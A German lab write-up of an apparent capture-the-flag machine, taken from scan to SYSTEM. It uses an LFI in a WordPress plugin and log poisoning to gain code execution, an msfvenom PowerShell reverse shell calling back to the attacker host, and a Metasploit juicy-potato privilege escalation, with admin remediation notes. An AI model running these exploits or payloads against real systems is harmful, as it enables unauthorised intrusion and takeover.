Info: Neo4j ist eine in Java implementierte Open-Source-Graphdatenbank. Die Entwickler beschreiben Neo4j als eine eingebettete, Disk-basierte, transaktionale Datenbank-Engine, die Daten anstatt in Tabellen in Graphen strukturiert speichert.
Bewertung: Diese Information gibt einen initialen Hinweis auf eine möglicherweise im Backend verwendete Technologie. Obwohl sie im weiteren Verlauf des Tests nicht direkt relevant wird, ist sie für ein vollständiges Bild des Systems nützlich.
Empfehlung (Pentester): Bei tiefergehenden Analysen oder Entdeckung entsprechender Schnittstellen gezielt auf Neo4j-spezifische Schwachstellen prüfen.
Empfehlung (Admin): Sicherstellen, dass alle Systemkomponenten, auch wenn sie nicht direkt exponiert sind, sicher konfiguriert und aktuell gehalten werden.
192.168.2.116 08:00:27:0c:49:eb PCS Systemtechnik GmbH
Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht.
Bewertung: Ein Host mit der IP `192.168.2.116` und der MAC-Adresse `08:00:27:0c:49:eb` (Oracle VirtualBox) wurde identifiziert. Dies ist das erste Zielobjekt.
Empfehlung (Pentester): Die gefundene IP als Ziel für weitere Scans verwenden.
Empfehlung (Admin): Netzwerküberwachung auf ARP-Scans implementieren.
# Relevante Zeile nach Änderung: 192.168.2.116 advisor.hmv
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.116` den Hostnamen `advisor.hmv` zuzuordnen.
Bewertung: Vereinfacht die weitere Adressierung des Ziels für den Pentester.
Empfehlung (Pentester): Standardvorgehen zur Verbesserung der Lesbarkeit und Handhabung.
Empfehlung (Admin): Keine direkte Auswirkung auf das Zielsystem.
Info VM Loginscreen: Windows Server 2008 R2, Benutzer: `websvc`, `administrator`
Bewertung: Extrem wertvolle Information aus der VM-Beschreibung. Enthüllt das veraltete Betriebssystem und zwei valide Benutzernamen. Dies ist ein starker Hinweis auf potenzielle Schwachstellen und erleichtert Angriffsversuche erheblich.
Empfehlung (Pentester): Die Benutzernamen für Authentifizierungsversuche (SMB, Web, etc.) priorisieren.
Empfehlung (Admin): Veraltetes OS dringend patchen/ersetzen. Standard-Admin-Namen ändern/deaktivieren. Starke Passwörter verwenden.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 23:23 CEST Nmap scan report for advisor.hmv (192.168.2.116) Host is up (0.00013s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 445/tcp open microsoft-ds? MAC Address: 08:00:27:0C:49:EB (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (98%), Microsoft Windows Embedded Standard 7 (98%), Microsoft Windows 7 Professional or Windows 8 (97%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (97%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (96%), Microsoft Windows Server 2008 R2 or Windows 8.1 (95%), Microsoft Windows Server 2008 SP1 (93%), Microsoft Windows 7 (93%), Microsoft Windows 7 SP1 (92%), Microsoft Windows Vista SP0 - SP1 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Host script results: | smb2-time: | date: 2024-08-14T21:24:40 |_ start_date: 2024-08-15T06:18:54 | smb2-security-mode: | 2:1:0: |_ Message signing enabled but not required TRACEROUTE HOP RTT ADDRESS 1 0.13 ms advisor.hmv (192.168.2.116)
Analyse: Ein umfassender Nmap-Scan (`-sC` für Skripte, `-sS` für SYN-Scan, `-sV` für Versionen, `-A` für OS/Version/Skript/Traceroute, `-T5` für aggressives Timing, `-p-` für alle Ports) wird auf `192.168.2.116` durchgeführt.
Bewertung: Hauptfund ist der offene Port 445 (SMB). Das Skript `smb2-security-mode` zeigt die kritische Schwachstelle `Message signing enabled but not required` auf. OS-Erkennung deutet auf Windows 7/Server 2008 R2 hin. Viele gefilterte Ports lassen auf eine Firewall schließen.
Empfehlung (Pentester): SMB als primären Angriffsvektor untersuchen (Enumeration, Relay-Angriffe).
Empfehlung (Admin): SMB Signing erzwingen! OS patchen/ersetzen. Firewall überprüfen.
445/tcp open microsoft-ds?
Analyse: Filtert die vorherige Nmap-Ausgabe, um nur offene Ports anzuzeigen.
Bewertung: Bestätigt Port 445 als einzigen offenen Port.
Empfehlung (Pentester): Nützlich für schnelle Übersicht, aber nicht die Details (Skripte) vergessen.
Empfehlung (Admin): Keine neuen Erkenntnisse.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 13:09 CEST Nmap scan report for TriplAdvisor (192.168.2.117) Host is up (0.00071s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 08:00:27:7E:1C:11 (Oracle VirtualBox virtual NIC) Host script results: | smb2-security-mode: | 2:1:0: |_ Message signing enabled but not required Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds
Analyse: Gezielter Scan auf Port 445 mit dem Skript `smb2-security-mode` auf einer *neuen* IP-Adresse: `192.168.2.117`.
Bewertung: Auch auf diesem Host (andere MAC, vermutlich andere VM) ist SMB Signing nicht erzwungen. Dies deutet auf eine konsistente Fehlkonfiguration oder ein gemeinsames Basis-Image hin.
Empfehlung (Pentester): Beide IPs im Auge behalten. Prüfen, ob sich die Systeme unterscheiden.
Empfehlung (Admin): SMB Signing auf *allen* Systemen im Netz erzwingen.
INFO: Current debug levels: all: 10 tdb: 10 printdrivers: 10 # ... (restliche Debug-Level-Ausgabe) # Keine Fehlermeldung oder Erfolgsmeldung bezüglich des Shares
Analyse: Versuch, anonym (`-N`) auf die SMB-Freigabe `TRIPLADVISOR` auf 192.168.2.117 zuzugreifen. Hoher Debug-Level aktiviert.
Bewertung: Fehlgeschlagen. Es erfolgt keine Verbindung oder Fehlermeldung bezüglich des Shares selbst, was darauf hindeutet, dass der anonyme Zugriff verweigert wird oder der Share nicht existiert.
Empfehlung (Pentester): Andere Methoden zur Share-Enumeration (smbmap, nmap-Skripte) oder authentifizierten Zugriff versuchen.
Empfehlung (Admin): Anonymen SMB-Zugriff deaktivieren.
rpcclient $>
Analyse: Versuch einer anonymen RPC-Verbindung (Null-Session) zu 192.168.2.117.
Bewertung: Erfolgreich! Der `rpcclient $>`-Prompt erscheint. Dies ermöglicht potenziell weitere Enumeration über RPC.
Empfehlung (Pentester): RPC-Enumerationsbefehle innerhalb der `rpcclient`-Sitzung ausführen (`enumdomusers`, etc.).
Empfehlung (Admin): Anonymen RPC-Zugriff einschränken (Policy: "Netzwerkzugriff: Anonyme SID-/Namensübersetzung einschränken").
Impacket v0.12.0.dev1 - Copyright 2023 Fortra [*] Brute forcing SIDs at 192.168.2.117 [*] StringBinding ncacn_np:192.168.2.117[\pipe\lsarpc] [-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
Analyse: `lookupsid.py` versucht, SIDs über eine Null-Session aufzulösen.
Bewertung: Fehlgeschlagen mit `STATUS_ACCESS_DENIED`. Obwohl eine RPC-Null-Session möglich war, reichen die Berechtigungen nicht für die SID-Enumeration über `lsarpc`. Das System ist hier gehärtet.
Empfehlung (Pentester): Andere Enumerationswege nutzen.
Empfehlung (Admin): Sicherheitsrichtlinie beibehalten.
Try "help" to get a list of possible commands. smb: \> ls NT_STATUS_ACCESS_DENIED listing \* smb: \> pwd Current directory is \\192.168.2.117\IPC$\ smb: \>
Analyse: Versuch einer SMB-Null-Session zur `IPC$`-Freigabe.
Bewertung: Verbindung möglich (`pwd` funktioniert), aber Auflistung (`ls`) wird mit `NT_STATUS_ACCESS_DENIED` blockiert. Bestätigt eingeschränkten anonymen Zugriff.
Empfehlung (Pentester): Fokus auf andere Angriffsvektoren oder authentifizierte Angriffe legen.
Empfehlung (Admin): Konfiguration beibehalten.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 18:52 CEST Nmap scan report for 192.168.2.119 Host is up (0.00018s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 445/tcp open microsoft-ds 8080/tcp open http-proxy MAC Address: 08:00:27:79:F4:4D (Oracle VirtualBox virtual NIC)
Analyse: Schneller Portscan (`-Pn`, `--min-rate 10000`) auf eine *dritte* IP-Adresse: `192.168.2.119`.
Bewertung: Findet offenen Port 445 (SMB) und den neuen, interessanten Port 8080 (HTTP-Proxy/Webserver). Erneute andere MAC, andere VM. Dies wird nun das Hauptziel.
Empfehlung (Pentester): Den Dienst auf Port 8080 untersuchen.
Empfehlung (Admin): Netzwerk aufräumen, unnötige VMs/Dienste abschalten. Port 8080 absichern.
http://Tripladvisor:8080/index.html (Status: 200) [Size: 202] http://Tripladvisor:8080/index.php (Status: 302) [Size: 0] [--> http://Tripladvisor:8080/wordpress/] http://Tripladvisor:8080/thumbs.db (Status: 200) [Size: 3584] http://Tripladvisor:8080/wordpress (Status: 301) [Size: 243] [--> http://tripladvisor:8080/wordpress/] http://Tripladvisor:8080/Index.php (Status: 302) [Size: 0] [--> http://Tripladvisor:8080/wordpress/] http://Tripladvisor:8080/Index.html (Status: 200) [Size: 202]
Analyse: `gobuster` sucht nach Verzeichnissen und Dateien auf `http://Tripladvisor:8080` (Hostname zeigt jetzt vermutlich auf 192.168.2.119).
Bewertung: Wichtiger Fund: Die Weiterleitungen auf `/wordpress/` deuten klar auf eine WordPress-Installation hin. `thumbs.db` ist ebenfalls vorhanden.
Empfehlung (Pentester): WordPress-Installation unter `/wordpress/` mit `wpscan` genauer untersuchen.
Empfehlung (Admin): WordPress aktuell halten, unnötige Dateien (`thumbs.db`) entfernen, WAF einsetzen.
[ { "id": 1, "name": "admin", "url": "", "description": "", "link": "http:\/\/tripladvisor:8080\/wordpress\/author\/admin\/", "slug": "admin", "avatar_urls": { "24": "http:\/\/2.gravatar.com\/avatar\/e64c7d89f26bd1972efa854d13d7dd61?s=24&d=mm&r=g", "48": "http:\/\/2.gravatar.com\/avatar\/e64c7d89f26bd1972efa854d13d7dd61?s=48&d=mm&r=g", "96": "http:\/\/2.gravatar.com\/avatar\/e64c7d89f26bd1972efa854d13d7dd61?s=96&d=mm&r=g" }, "meta": [], "_links": { "self": [ { "href": "http:\/\/tripladvisor:8080\/wordpress\/wp-json\/wp\/v2\/users\/1" } ], "collection": [ { "href": "http:\/\/tripladvisor:8080\/wordpress\/wp-json\/wp\/v2\/users" } ] } } ]
Analyse: Abfrage der WordPress REST API (`/wp-json/wp/v2/users`) zur Benutzer-Enumeration.
Bewertung: Kritisch! Bestätigt die Existenz des Standard-Benutzers "admin" (ID 1).
Empfehlung (Pentester): "admin" für Passwort-Bruteforce verwenden.
Empfehlung (Admin): REST API `/users`-Endpunkt einschränken. Standard-Admin-Namen ändern.
[i] Updating the Database ... [i] Update completed. [+] URL: http://tripladvisor:8080/ [192.168.2.119] [+] Effective URL: http://tripladvisor:8080/wordpress/ [+] Started: Sun Aug 18 19:04:43 2024 [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:12 <================================================================================================================> (10 / 10) 100.00% Time: 00:00:12 [i] User(s) Identified: [+] admin | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://tripladvisor:8080/wordpress/wp-json/wp/v2/users/?per_page=100&page=1 | Rss Generator (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 2 | Requests Remaining: 23 [+] Finished: Sun Aug 18 19:05:34 2024 [+] Requests Done: 83 [+] Cached Requests: 4 [+] Data Sent: 25.052 KB [+] Data Received: 21.849 MB [+] Memory used: 158.59 MB [+] Elapsed time: 00:00:51
Analyse: `wpscan` wird zur Benutzer-Enumeration (`-e u`) auf `http://Tripladvisor:8080` (IP 192.168.2.119) eingesetzt.
Bewertung: Bestätigt den Benutzer "admin" durch mehrere Methoden.
Empfehlung (Pentester): "admin" als Ziel für Passwortangriffe nutzen. Weitere `wpscan`-Enumerationen (Plugins, Themes) durchführen.
Empfehlung (Admin): Maßnahmen gegen Benutzer-Enumeration ergreifen. Standard-Admin-Namen ändern.
# Keine Ausgabe im Text - Annahme: erfolglos
Analyse: `wpscan` wird für einen Passwort-Bruteforce-Angriff auf "admin" mit der `rockyou.txt`-Liste verwendet.
Bewertung: Vermutlich erfolglos, da keine Erfolgsmeldung im Text folgt und später ein Exploit genutzt wird.
Empfehlung (Pentester): Andere Angriffsmethoden (Exploits) suchen.
Empfehlung (Admin): Starke Passwörter, Login-Rate-Limiting, 2FA.
[+] editor | Location: http://tripladvisor:8080/wordpress/wp-content/plugins/editor/ | | Found By: Urls In Homepage (Passive Detection) | | Version: 1.1 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://tripladvisor:8080/wordpress/wp-content/plugins/editor/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://tripladvisor:8080/wordpress/wp-content/plugins/editor/readme.txt
Analyse: WPScan identifiziert das Plugin "editor" und bestimmt dessen Version als 1.1.
Bewertung: Kritischer Fund! Die genaue Versionsnummer ermöglicht die gezielte Suche nach Exploits.
Empfehlung (Pentester): Nach Exploits für "editor" v1.1 suchen.
Empfehlung (Admin): Plugin aktualisieren oder entfernen. Zugriff auf `readme.txt` einschränken.
Analyse: Recherche (Google, Exploit-DB) nach Exploits für das Plugin "editor".
Bewertung: Erfolgreich! Ein LFI-Exploit (Local File Inclusion) für Version 1.1.1 wird auf Exploit-DB (exploit/44340) gefunden. Es ist wahrscheinlich, dass dieser auch für v1.1 funktioniert.
Empfehlung (Pentester): Den LFI-Exploit testen.
Empfehlung (Admin): Plugin sofort entfernen/patchen.
view-source:http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd {"success":false,"message":"Error: didn't load shortcodes pattern file"}
Analyse: Erster Versuch, die LFI-Schwachstelle auszunutzen, um `/etc/passwd` zu lesen.
Bewertung: Fehlgeschlagen. Die Fehlermeldung deutet auf einen falschen Pfad (Linux-Pfad auf Windows-System) oder Pfadfilterung hin.
Empfehlung (Pentester): Windows-Pfade oder Fuzzing (z.B. mit `wfuzz`) verwenden, um gültige Dateien zu finden.
Empfehlung (Admin): Plugin patchen/entfernen. Input-Validierung.
Target: http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=FUZZ ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001643: 200 564 L 2563 W 21507 Ch "\xampp\apache\conf\httpd.conf" 000001620: 200 7 L 13 W 129 Ch "C:\WINDOWS\win.ini" 000001642: 200 0 L 1 W 37 Ch "\xampp\phpMyAdmin\config.inc.php" 000001641: 200 0 L 1 W 37 Ch "\xampp\phpmyadmin\config.inc.php" # ... (weitere Funde) 000001654: 200 18412 L 220962 W 1957925 Ch "\xampp\apache\logs\access.log" 000001653: 200 51724 L 1053562 W 8593699 Ch "\xampp\apache\logs\error.log" Total time: 2.983324 Processed Requests: 2894 Filtered Requests: 2881 Requests/sec.: 970.0587
Analyse: `wfuzz` wird mit einer Liste gängiger Log-/Konfigurationsdateien verwendet, um über die LFI-Schwachstelle lesbare Dateien zu finden. Antworten mit 72 Zeichen (vermutlich Fehlermeldung) werden ignoriert (`--hh 72`).
Bewertung: Sehr erfolgreich! Mehrere interessante Dateien gefunden, darunter `C:\WINDOWS\win.ini` und vor allem die Apache-Logdateien `\xampp\apache\logs\access.log` und `error.log`. Dies öffnet die Tür für Log Poisoning.
Empfehlung (Pentester): Log Poisoning versuchen: Code in Logs schreiben (z.B. via User-Agent) und dann die Logdatei über LFI ausführen.
Empfehlung (Admin): LFI beheben. Zugriff auf Logdateien über Web einschränken. XAMPP nicht produktiv nutzen.
view-source:http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log # Gekürzte Log-Ausgabe: 192.168.56.1 - - [14/Aug/2024:10:42:52 -0700] "GET ...?ajax_path=C:/xampp/apache/logs/error.log HTTP/1.1" 200 ... ... fe80::58d6:a2ae:50ae:f30e - - [18/Aug/2024:09:58:01 -0700] "POST /wordpress/wp-cron.php?..." 200 - "..." "WordPress/5.1.19; http://tripladvisor:8080/wordpress"
Analyse: Die `access.log` wird erfolgreich über LFI ausgelesen.
Bewertung: Bestätigt Lesbarkeit. Der Logeintrag von `wp-cron.php` verrät die WordPress-Version 5.1.19 (veraltet).
Empfehlung (Pentester): WordPress-Version auf bekannte Schwachstellen prüfen. Mit Log Poisoning fortfahren.
Empfehlung (Admin): WordPress aktualisieren. LFI beheben.
# ... (Rest der HTML-Antwort)
Analyse: Versuch, PHP-Code (``) via User-Agent (`-A`) in die `access.log` zu schreiben.
Bewertung: Der Befehl selbst gibt nur die HTML-Seite zurück. Der Erfolg hängt davon ab, ob der Code in die Logs geschrieben und später ausgeführt wird.
Empfehlung (Pentester): Nun die `access.log` erneut über LFI aufrufen.
Empfehlung (Admin): LFI beheben. Log-Maskierung aktivieren.
view-source:http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log # Gekürzte Ausgabe mit Ergebnis des eingeschleusten Codes: 192.168.2.199 - - [18/Aug/2024:10:23:11 -0700] "GET /wordpress/ HTTP/1.1" 200 22542 "-" " Volume in drive C has no label. Volume Serial Number is BCB3-AE45 Directory of C:\xampp\htdocs\wordpress\wp-content\plugins\editor\editor\extensions\pagebuilder\includes 06/30/2024 10:00 AM. 06/30/2024 10:00 AM .. 06/30/2024 10:00 AM 9,400 ajax_shortcode_pattern.php # ... (restliche Dateiliste) 6 File(s) 160,360 bytes 2 Dir(s) 23,819,964,416 bytes free " {"success":true,"data":{"output":[]}}
Analyse: Erneuter Aufruf der `access.log` über LFI, nachdem der PHP-Code eingeschleust wurde.
Bewertung: Erfolg! RCE bestätigt! Statt des PHP-Codes wird die Ausgabe des `dir`-Befehls angezeigt. Der Code wurde erfolgreich ausgeführt.
Empfehlung (Pentester): RCE nutzen, um eine Reverse Shell zu etablieren.
Empfehlung (Admin): Höchste Priorität, LFI zu beheben! System kompromittiert.
Kurzbeschreibung: Demonstriert die Ausnutzung der LFI im Plugin "Editor" v1.1 mittels Log Poisoning, um RCE zu erlangen und eine Meterpreter Reverse Shell zu etablieren.
Voraussetzungen: Netzwerkzugriff auf Port 8080, Kenntnis der Schwachstelle, Tools (`curl`, `wfuzz`, `msfvenom`, `msfconsole`), Listener.
Schritt-für-Schritt-Anleitung:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 510 bytes Final size of psh-cmd file: 7487 bytes Saved as: payload.txt
Analyse: Erstellt einen PowerShell-Payload (`-f psh-cmd`) für eine Reverse TCP Meterpreter-Verbindung zu 192.168.2.199 auf Port 1337.
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoA[...gekürzter Base64-Payload...]SAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAgBTAHQAYQByAHQAKAAkAHMAKQA7AA==
Analyse: Der generierte Payload ist ein `cmd.exe`-Befehl, der PowerShell startet, um den eigentlichen, Base64-kodierten (`-e ...`) Meterpreter-Stager auszuführen.
[*] Using configured payload generic/shell_reverse_tcp
lhost => eth0
lport => 1337
payload => windows/x64/meterpreter/reverse_tcp
[*] Started reverse TCP handler on 192.168.2.199:1337
Analyse: Metasploit wird konfiguriert, um auf die eingehende x64-Meterpreter-Verbindung auf Port 1337 zu warten.
# (Keine direkte Ausgabe des Payloads)
Analyse: Der PowerShell-Befehl zum Starten des Base64-kodierten Payloads wird in `` eingebettet und als User-Agent gesendet. Dies schreibt den Code in die `access.log`. Ein sofortiger oder kurz darauf folgender Aufruf der LFI-URL (`view-source:http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log`) führt den PHP-Code und damit den PowerShell-Payload aus.
Erwartetes & Tatsächliches Ergebnis: Eine Meterpreter-Session wird auf dem Listener (Port 1337) geöffnet.
[*] Sending stage (201798 bytes) to 192.168.2.118 [*] Meterpreter session 1 opened (192.168.2.199:1337 -> 192.168.2.118:49169) at 2024-08-18 19:55:14 +0200 meterpreter >
Beweismittel: Erfolgreiche Meterpreter-Session.
Risikobewertung: Hoch. Kompromittierung des Webservers auf Benutzerebene (`websvc`).
Empfehlungen (Admin): Siehe vorheriger Bericht (Plugin entfernen, patchen, WAF, Härtung, Monitoring).
C:\xampp\htdocs\wordpress\wp-content
Listing: C:\ ============ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 040777/rwxrwxrwx 0 dir 2009-07-14 06:52:35 +0200 $RECYCLE.BIN # ... (restliche Ausgabe von C:\) 040777/rwxrwxrwx 8192 dir 2024-06-30 07:56:02 +0200 xampp
Analyse: Navigation vom initialen Web-Verzeichnis zum Root-Verzeichnis `C:\`.
Bewertung: Zeigt erfolgreichen Zugriff auf das Dateisystem außerhalb des Web-Roots.
Empfehlung (Pentester): Weiteres Enumerieren des Systems, insbesondere des `Users`-Verzeichnisses.
Empfehlung (Admin): Berechtigungen des Webserver-Prozesses überprüfen und minimieren.
C:\
[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
Listing: C:\Users ================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 040777/rwxrwxrwx 0 dir 2024-06-30 05:09:25 +0200 Administrator # ... (restliche Benutzerprofile) 040777/rwxrwxrwx 8192 dir 2024-06-30 05:11:29 +0200 websvc
Analyse: Wechsel in das `Users`-Verzeichnis. Der erste `cd`-Versuch schlägt fehl (möglicherweise Tippfehler oder Timing-Problem), der zweite (`cd Users\\`) gelingt. Auflistung der Benutzerprofile.
Bewertung: Zeigt die Profile `Administrator` und `websvc`.
Empfehlung (Pentester): Zugriff auf die Profile testen.
Empfehlung (Admin): Keine neuen Erkenntnisse.
[-] stdapi_fs_chdir: Operation failed: Access is denied.
Listing: C:\Users\websvc\Desktop ================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 282 fil 2024-06-30 04:10:54 +0200 desktop.ini 100666/rw-rw-rw- 33 fil 2024-06-30 19:10:01 +0200 user.txt
Analyse: Zugriff auf `Administrator` wird verweigert. Wechsel in das `websvc`-Profil und auf dessen Desktop gelingt. Dort wird `user.txt` gefunden.
Bewertung: User-Flag gefunden! Zugriffsbeschränkungen auf Administrator-Profil sind aktiv.
Empfehlung (Pentester): `user.txt` auslesen. Privilege Escalation anstreben.
Empfehlung (Admin): Korrekte Berechtigungen. Flags nicht unverschlüsselt speichern.
Process 2448 created. Channel 2 created. Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\websvc\Desktop>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Terminate channel 2? [y/N] y
Background session 1? [y/N]
Analyse: Öffnen einer `cmd.exe`-Shell und Überprüfung der Privilegien des `websvc`-Benutzers mit `whoami /priv`.
Bewertung: Zeigt Standardprivilegien. Keine offensichtlich einfachen PrivEsc-Vektoren durch hohe Privilegien sichtbar. `SeImpersonatePrivilege` ist zwar vorhanden, aber für viele Exploits wird `SeAssignPrimaryTokenPrivilege` benötigt oder es müssen bestimmte Bedingungen erfüllt sein.
Empfehlung (Pentester): Automatisierte Exploit-Suche (z.B. `local_exploit_suggester`) oder manuelle Suche nach Schwachstellen.
Empfehlung (Admin): Prinzip der geringsten Rechte anwenden.
session => 1
Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows TRIPLADVISOR\websvc @ TRIP 192.168.2.199:1337 -> 192.1 LADVISOR 68.2.118:49169 (192.168.2.1 18)
Analyse: Vorbereitung des `local_exploit_suggester` auf Session 1.
Bewertung: Korrekte Konfiguration.
Empfehlung (Pentester): Mit `run` starten.
Empfehlung (Admin): Patchen und überwachen.
Analyse: Überschrift "Privilege Escalation" wiederholt.
Bewertung: Strukturelles Element im Originaltext.
Empfehlung (Pentester/Admin): Keine Aktion erforderlich.
session => 1
Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows TRIPLADVISOR\websvc @ TRIP 192.168.2.199:1337 -> 192.1 LADVISOR 68.2.118:49169 (192.168.2.1 18)
[*] 192.168.2.118 - Collecting local exploits for x64/windows... [*] 192.168.2.118 - 196 exploit checks are being tried... [+] 192.168.2.118 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] 192.168.2.118 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable. # ... (viele weitere [+] Einträge für verwundbare Exploits) [+] 192.168.2.118 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable. [*] Running check method for exploit 45 / 45 [*] 192.168.2.118 - Valid modules for session 1: ============================ # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable. 2 exploit/windows/local/cve_2019_1458_wizardopium Yes The target appears to be vulnerable. # ... (Liste der 10 verwundbaren Exploits) 10 exploit/windows/local/ms16_075_reflection_juicy Yes The target appears to be vulnerable. # ... (Liste der 35 nicht verwundbaren oder nicht prüfbaren Exploits) 45 exploit/windows/local/win_error_cve_2023_36874 No The target is not exploitable.
Analyse: Ausführung des `local_exploit_suggester`.
Bewertung: Findet erneut 10 potenziell funktionierende lokale Exploits, darunter `ms16_075_reflection_juicy`. Die lange Liste bestätigt den veralteten Patch-Stand des Systems.
Empfehlung (Pentester): `ms16_075_reflection_juicy` auswählen.
Empfehlung (Admin): DRINGEND PATCHEN!
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
Module options (exploit/windows/local/ms16_075_reflection_juicy): Name Current Setting Required Description ---- --------------- -------- ----------- CLSID {4991d34b-80a1-4291-83b6-33283 yes Set CLSID value of the DCOM to trigger 66b9097} SESSION yes The session to run this module on Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC none yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.2.199 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic
LHOST => 192.168.2.199
LPORT => 4444
payload => windows/x64/meterpreter/reverse_tcp
session => 1
[*] Started reverse TCP handler on 192.168.2.199:4444 [+] Target appears to be vulnerable (Windows 2008 R2) [*] Launching notepad to host the exploit... [+] Process 2052 launched. [*] Reflectively injecting the exploit DLL into 2052... [*] Injecting exploit into 2052... [*] Exploit injected. Injecting exploit configuration into 2052... [*] Configuration injected. Executing exploit... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (201798 bytes) to 192.168.2.118 [*] Meterpreter session 2 opened (192.168.2.199:4444 -> 192.168.2.118:49174) at 2024-08-18 20:15:14 +0200 meterpreter >
Analyse: Auswahl und Konfiguration des Exploits `ms16_075_reflection_juicy`. Setzen des Listeners (LHOST, LPORT), des Payloads (x64 Meterpreter) und der Zielsession (Session 1).
Bewertung: Exploit erfolgreich ausgeführt! Eine neue Meterpreter-Session (Session 2) wird geöffnet, die mit SYSTEM-Rechten laufen sollte.
Empfehlung (Pentester): Zur neuen Session wechseln und Rechte überprüfen (`getuid`).
Empfehlung (Admin): Patchen! Überwachung auf verdächtige Prozessstarts (`notepad.exe`) und DLL-Injektionen.
[-] Unknown command: id. Run the help command for more details.
[-] Unknown command: whoami. Run the help command for more details.
Process 2812 created. Channel 1 created. Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system
Analyse: In der neuen Meterpreter-Session (Session 2) funktionieren die Linux-artigen Befehle `id` und `whoami` nicht direkt. Eine `shell` wird geöffnet und dort der Windows-Befehl `whoami` ausgeführt.
Bewertung: Privilege Escalation erfolgreich! Die Shell läuft als `nt authority\system`. Großartig, das Hauptziel ist erreicht!
Empfehlung (Pentester): Root-Flag suchen, weitere Post-Exploitation.
Empfehlung (Admin): System kompromittiert, siehe vorherige Empfehlungen.
Analyse: Bestätigung der erfolgreichen Privilege Escalation.
Bewertung: Wichtiger Meilenstein im Test.
Empfehlung (Pentester/Admin): Keine Aktion erforderlich.
'ls' is not recognized as an internal or external command, operable program or batch file.
Volume in drive C has no label. Volume Serial Number is BCB3-AE45 Directory of C:\Users\Administrator\Desktop 08/15/2024 09:02 PM. 08/15/2024 09:02 PM .. 06/30/2024 10:10 AM 33 root.txt 1 File(s) 33 bytes 2 Dir(s) 23,852,781,568 bytes free
Analyse: In der SYSTEM-Shell wird zum Administrator-Desktop navigiert. Der Linux-Befehl `ls` schlägt fehl, der Windows-Befehl `dir` funktioniert.
Bewertung: Die Datei `root.txt` wird auf dem Desktop gefunden.
Empfehlung (Pentester): `root.txt` auslesen (`type root.txt`).
Empfehlung (Admin): Flags nicht unverschlüsselt ablegen.
